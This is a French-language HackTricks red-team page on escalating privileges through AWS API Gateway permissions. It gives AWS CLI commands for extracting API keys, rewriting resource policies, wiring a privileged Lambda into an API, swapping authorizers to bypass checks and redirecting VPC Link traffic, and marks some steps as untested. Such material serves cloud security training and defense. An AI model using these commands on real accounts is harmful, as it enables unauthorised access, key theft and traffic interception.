AWS - Apigateway Privesc

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Apigateway

Pour plus d'informations, consultez :

AWS - API Gateway Enum

apigateway:POST

Avec cette permission, vous pouvez générer des clés API pour les APIs configurées (par région).

bash
aws --region <region> apigateway create-api-key

Impact potentiel : Vous ne pouvez pas privesc avec cette technique mais vous pourriez obtenir l'accès à des informations sensibles.

apigateway:GET

Avec cette permission, vous pouvez obtenir les clés API générées des API configurées (par région).

bash
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Impact potentiel : Vous ne pouvez pas privesc avec cette technique mais vous pourriez obtenir l'accès à des informations sensibles.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Avec ces autorisations il est possible de modifier la resource policy d'une API pour vous donner l'accès pour l'appeler et abuser d'un accès potentiel que l'API gateway pourrait avoir (par exemple en invoquant une lambda vulnérable).

bash
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Impact potentiel : Vous ne pourrez généralement pas effectuer de privesc directement avec cette technique, mais vous pourriez obtenir l'accès à des informations sensibles.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

note

À tester

Un attaquant disposant des permissions apigateway:PutIntegration, apigateway:CreateDeployment, et iam:PassRole peut ajouter une nouvelle intégration à une API Gateway REST API existante avec une fonction Lambda ayant un rôle IAM attaché. L'attaquant peut ensuite déclencher la fonction Lambda pour exécuter du code arbitraire et potentiellement accéder aux ressources associées au rôle IAM.

bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : Accès aux ressources associées au rôle IAM de la fonction Lambda.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

note

À tester

Un attaquant disposant des permissions apigateway:UpdateAuthorizer et apigateway:CreateDeployment peut modifier un authorizer API Gateway existant afin de contourner les contrôles de sécurité ou d'exécuter du code arbitraire lorsqu'une requête API est effectuée.

bash
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : Contournement des contrôles de sécurité, accès non autorisé aux ressources d'API.

note

Nécessite des tests

Un attaquant disposant de la permission apigateway:UpdateVpcLink peut modifier un VPC Link existant pour le faire pointer vers un autre Network Load Balancer, redirigeant potentiellement le trafic d'API privé vers des ressources non autorisées ou malveillantes.

bash
VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Impact potentiel: Accès non autorisé aux ressources API privées, interception ou perturbation du trafic API.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks